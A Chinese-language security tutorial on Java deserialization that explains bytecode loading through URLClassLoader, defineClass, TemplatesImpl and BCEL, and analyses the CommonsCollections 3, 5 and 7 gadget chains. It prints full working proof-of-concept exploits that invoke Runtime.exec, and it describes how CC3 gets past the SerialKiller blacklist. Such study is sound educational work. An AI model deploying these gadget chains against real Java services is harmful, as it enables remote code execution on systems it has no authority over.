Java反序列化漏洞系列-4
1 Java 动态加载字节码
1.1 字节码
严格来说,Java 字节码其实仅仅指的是 Java 虚拟机执行使用的一类指令,通常被存储 在 .class
文件中。
众所周知,不同平台、不同 CPU 的计算机指令有差异,但因为 Java 是一门跨平台的编译型语言,所以这些差异对于上层开发者来说是透明的,上层开发者只需要将自己的代码编译一次,即可运行在不同平台的 JVM 虚拟机中。
1.2 利用 URLClassLoader 加载远程 class 文件
利用 Java 的 ClassLoader 来用来加载字节码文件最基础的方法。嘉文主要说明 URLClassLoader
。正常情况下,Java 会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找 .class 文件来加载,而这个基础路径有分为三种情况:
- URL 未以斜杠
/
结尾,则认为是一个 JAR 文件,使用 JarLoader 来寻找类,即为在 Jar 包中寻找 .class
文件
- URL 以斜杠
/
结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找 .class
文件
- URL 以斜杠
/
结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类
正常开发的时候通常遇到的是前两者,那什么时候才会出现使用 Loader 寻找类的情况呢?当然是非 file 协议的情况下,最常见的就是 http 协议。
使用 HTTP 协议来测试,从远程 HTTP 服务器上加载 .class 文件:
ClassLoader.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
package com.geekby.javavuln;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class Main {
public static void main(String[] args) throws Exception {
URL[] urls = {new URL("http://localhost:8000/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("Hello");
Method f = c.getMethod("test");
f.invoke(null, null);
}
}
|
Hello.java
1
2
3
4
5
|
public class Hello {
public static void test() {
System.out.println("test");
}
}
|
执行:

成功请求到 /Hello.class
文件,并执行了文件里的字节码,输出了「test」。
所以,如果攻击者能够控制目标 Java ClassLoader 的基础路径为一个 http 服务器,则可以利用远程加载的方式执行任意代码了。
1.3 利用 ClassLoader#defineClass 直接加载字节码
不管是加载远程 class 文件,还是本地的 class 或 jar 文件,Java 都经历的是下面这三个方法调用:
ClassLoader#loadClass
ClassLoader#findClass
ClassLoader#defineClass
其中:
loadClass
的作用是从已加载的类缓存、父加载器等位置寻找类,在前面没有找到的情况下,执行 findClass
findClass
的作用是根据基础 URL 指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar 包或远程 http 服务器上读取字节码,然后交给 defineClass
defineClass
的作用是处理前面传入的字节码,将其处理成真正的 Java 类
因此,真正核心的部分其实是 defineClass ,其决定了如何将一段字节流转变成一个 Java 类,Java 默认的 ClassLoader#defineClass
是一个 native 方法,逻辑在 JVM 的 C 语言代码中。
通过简单的代码示例,演示 defineClass
加载字节码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
public class defineClassDemo {
public static void main(String[] args) throws Exception{
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
// 读取字节码并进行 base64 编码
byte[] b = Files.readAllBytes(Paths.get("Hello.class"));
String code = Base64.getEncoder().encodeToString(b);
// base64 解码
byte[] byteCode = Base64.getDecoder().decode(code);
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", byteCode, 0, byteCode.length);
Method m = hello.getMethod("test", null);
m.invoke(null, null);
}
}
|

信息
在 defineClass
被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的 static 块中,在 defineClass
时也无法被直接调用到。所以,如果要使用 defineClass
在目标机器上执行任意代码,需要想办法调用构造函数。
在实际场景中,因为 defineClass
方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是常用的一个攻击链 TemplatesImpl
的基石。
1.4 利用 TemplatesImpl 加载字节码
前面提到过,开发者不会直接使用到 defineClass 方法,但是,Java 底层还是有一些类用到了它,如:TemplatesImpl
。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类中定义了一个内部类 TransletClassLoader
,这个类里重写了 defineClass
方法,并且这里没有显式地声明其定义域。Java 中默认情况下,如果一个方法没有显式声明作用域,其作用域为 default。因此,这里被重写的 defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。
从 TransletClassLoader#defineClass()
向前追溯一下调用链:
1
2
3
4
5
|
TemplatesImpl#getOutputProperties()
-> TemplatesImpl#newTransformer()
-> TemplatesImpl#getTransletInstance()
-> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
|
追到最前面两个方法 TemplatesImpl#getOutputProperties()
、 TemplatesImpl#newTransformer()
,这两者的作用域是 public,可以被外部调用。尝试用 newTransformer()
构造一个简单的 POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
public static void main(String[] args) throws Exception {
String code = "...";
byte[] byteCode = Base64.getDecoder().decode(code);
TemplatesImpl obj = new TemplatesImpl();
// _bytecodes 是由字节码组成的数组
Class c = TemplatesImpl.class;
Field _bytecodes = c.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(obj, new byte[][]{byteCode});
// _name 可以是任意字符串,只要不为 null 即可
Field _name = c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(obj, "HelloTemplatesImpl");
// 固定写法
Field _tfactory = c.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(obj, new TransformerFactoryImpl());
obj.newTransformer();
}
|
但是,TemplatesImpl
中对加载的字节码是有一定要求的:这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。需要构造一个特殊的类:
1
2
3
4
5
6
7
8
9
10
11
12
|
public class HelloTemppaltesImpl extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public HelloTemppaltesImpl() {
super();
System.out.println("Hello TemplatesImpl");
}
}
|

在多个 Java 反序列化利用链,以及 fastjson、jackson 的漏洞中,都曾出现过 TemplatesImpl 的身影。
1.5 利用 BCEL ClassLoader 加载字节码
BCEL 的全名为 Apache Commons BCEL,属于 Apache Commons 项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。
通过 BCEL 提供的两个类 Repository
和 Utility
来利用:用于将一个 Java Class 先转换成原生字节码,当然这里也可以直接使用 javac 命令来编译 java 文件生成字节码;Utility 用于将原生的字节码转换成 BCEL 格式的字节码:
1
2
3
4
5
6
7
8
9
10
11
|
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
public class BCELdemo {
public static void main(String[] args) throws Exception {
JavaClass cls = Repository.lookupClass(evil.Hello.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code);
}
}
|
而 BCEL ClassLoader
用于加载这串特殊的 bytecode
,并可以执行其中的代码:

2 CommonsCollections 3 Gadget 分析
在 CC1 中,利用 TransformedMap 来执行任意方法,上一节中提到过,利用 TemplatesImpl 执行字节码,可以将两者合并,构造出如下 POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
package com.geekby.cc3test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("HelloTemppaltesImpl.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "poc");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
|
但是,在 ysoserial 中的 CC3 中,并没有用到 InvokerTransformer
。
SerialKiller 是一个 Java 反序列化过滤器,可以通过黑名单与白名单的方式来限制反序列化时允许通过的类。在其发布的第一个版本代码中,可以看到其给出了最初的黑名单:

这个黑名单中 InvokerTransformer
赫然在列,也就切断了 CommonsCollections1
的利用链。ysoserial 随后增加了新的 Gadgets,其中就包括 CommonsCollections3
。
CommonsCollections3
的目的很明显,就是为了绕过一些规则对 InvokerTransformer
的限制。CommonsCollections3
并没有使用到 InvokerTransformer
来调用任意方法,而是用到了另一个类,com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
。
这个类的构造方法中调用了 (TransformerImpl) templates.newTransformer()
,免去了使用 InvokerTransformer
手工调用 newTransformer()
方法这一步:

当然,缺少了 InvokerTransformer,TrAXFilter 的构造方法也是无法调用的。通过利用 org.apache.commons.collections.functors.InstantiateTransformer
中的 InstantiateTransformer
调用构造方法。
所以,最终的目标是,利用 InstantiateTransformer
来调用到 TrAXFilter
的构造方法,再利用其构造方法里的 templates.newTransformer()
调用到 TemplatesImpl
里的字节码。
构造的 Transformer 调用链如下:
1
2
3
4
|
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
};
|
最终也是可以成功触发的:

警告
这个 POC 和 CC1 也有同样的问题,就是只支持 Java 8u71 及以下版本。
完整的反序列化过程如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
package com.geekby.cc3test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3Original {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("/Volumes/MacOS/WorkSpace/JAVA/ClassLoaderVuln/http/HelloTemppaltesImpl.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","Geekby");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object res = construct.newInstance(Retention.class, outerMap);
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(res);
oos.close();
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
|
3 CommonsCollections 5 Gadget 分析
CC5 的调用链:
1
2
3
4
5
6
7
8
|
->BadAttributeValueExpException.readObject()
->TiedMapEntry.toString()
->TiedMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->…………
|
这里又回到了去触发 LazyMap.get()
,只不过改变了 LazyMap.get()
的触发方式,不再借助 AnnotationInvocationHandler
的反序列化触发。
在 TiedMapEntry 类中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
//构造函数,显然我们可以控制 this.map 为 LazyMap
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
//toString函数,注意这里调用了 getValue()
public String toString() {
return this.getKey() + "=" + this.getValue();
}
//跟进 getValue(), 这是关键点 this.map.get() 触发 LazyMap.get()
public Object getValue() {
return this.map.get(this.key);
}
}
|
综上,通过 TiedMapEntry.toString()
可触发 LazyMap.get()
通过交叉引用搜索,是否存在一个类可以在反序列化过程中触发 TiedMapEntry.toString()
,最终找到了 BadAttributeValueExpException
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
public class BadAttributeValueExpException extends Exception {
private Object val; //这里可以控制 val 为 TiedMapEntry
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString(); //这里是关键点,调用toString()
} else {
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
|
最终实现代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections5 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//Transformer数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//ChainedTransformer实例
Transformer chainedTransformer = new ChainedTransformer(transformers);
//LazyMap实例
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
//TiedMapEntry 实例
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");
//BadAttributeValueExpException 实例
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
//反射设置 val
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.flush();
oos.close();
//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
|
4 CommonsCollections 7 Gadget 分析
cc7 调用链:
1
2
3
4
5
6
7
8
9
10
|
//这里是 jdk 1.7 的,不同版本 HashMap readObject 可能略有不同
->Hashtable.readObject()
->Hashtable.reconstitutionPut()
->AbstractMapDecorator.equals
->AbstractMap.equals()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->…………
|
LazyMap
之后的利用链也和 CC1 相同,前面用了新的链进行触发。这里仍然是想办法触发 LazyMap.get()
。在 Hashtable 的 readObject 中,遇到 hash 碰撞时,通过调用一个对象的 equals
方法对比两个对象,判断是否为真的 hash 碰撞。这里的 equals 方法是 AbstractMap
的 equals
方法。
4.1 AbstractMap
由于 LazyMap
没有实现 equals
方法,所以调用其 equals
方法即调用其父类
AbstractMapDecorator
的 equals
方法:
1
2
3
4
5
6
|
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}
|
即调用其所包装的 map
的 equals
方法。
如果这里包装的是 HashMap
而其没有实现 equals
方法,就会调用其父类 AbstractMap
的 equals
方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
public boolean equals(Object o) {
...
Map<K,V> m = (Map<K,V>) o;
...
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
...
}
|
此处调用了参数的 get
方法,可以此触发 LazyMap.get
从而完成利用。
4.2 Hashtable
这里使用 Hashtable
来充当反序列化链的触发点,其反序列化过程中调用了自身的 reconstitutionPut
方法,Hashtable 类的关键代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
//Hashtable 的 readObject 方法
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
………………
for (; elements > 0; elements--) {
K key = (K)s.readObject();
V value = (V)s.readObject();
//reconstitutionPut方法
reconstitutionPut(newTable, key, value);
}
this.table = newTable;
}
//跟进 reconstitutionPut 方法
private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
throws StreamCorruptedException
{
...
int hash = hash(key);
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
Entry<K,V> e = tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
|
而这里想要触发 equals
方法需要满足两个条件:
tab[index] != null
:即相同的 index
应出现两次
e.hash == hash
:即两个相同的 index
对应的 Entry
的键对应的 hash
相同
这里会发现 hash
相同则 index
一定相同,所以可能会认为只要设置两个相同的 key
使得 hash
相同即可。
相同的 key
确实可以触发 equals
,但是回到一开始的 LazyMap.get
的触发条件,get
需要接收一个不存在的 key
才可以触发 transform
,所以需要找到两个值不相等但 hash
相等的变量。
这里 ysoserial 用了字符串,查看 String.hashCode
:
1
2
3
4
5
6
7
8
9
10
11
12
|
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
|
这里只需要找到四个字符分成两个不同的组(AB、CD),使得 31 * A + B == 31 * C + D
即可。ysoserial 中使用了 yy 和 zZ,但这里还存在很多种可能。
4.3 POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CommonsCollections7 {
public static void main(String[] args) throws IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {
Transformer[] fakeTransformer = new Transformer[]{};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//ChainedTransformer实例
//先设置假的 Transformer 数组,防止生成时执行命令
Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);
//LazyMap实例
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");
//通过反射设置真的 ransformer 数组
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
//上面的 hashtable.put 会使得 lazyMap2 增加一个 yy=>yy,所以这里要移除
lazyMap2.remove("yy");
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashtable);
oos.flush();
oos.close();
//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
|
参考
phith0n Java 漫谈系列
Java反序列化漏洞原理解析
Java反序列化漏洞从入门到关门
从0开始学Java反序列化漏洞
深入理解 JAVA 反序列化漏洞
Java反序列化利用链补全计划
Commons-Collections 利用链分析
CC链 1-7 分析
Java 安全学习 Day2 – ysoserial CC 系列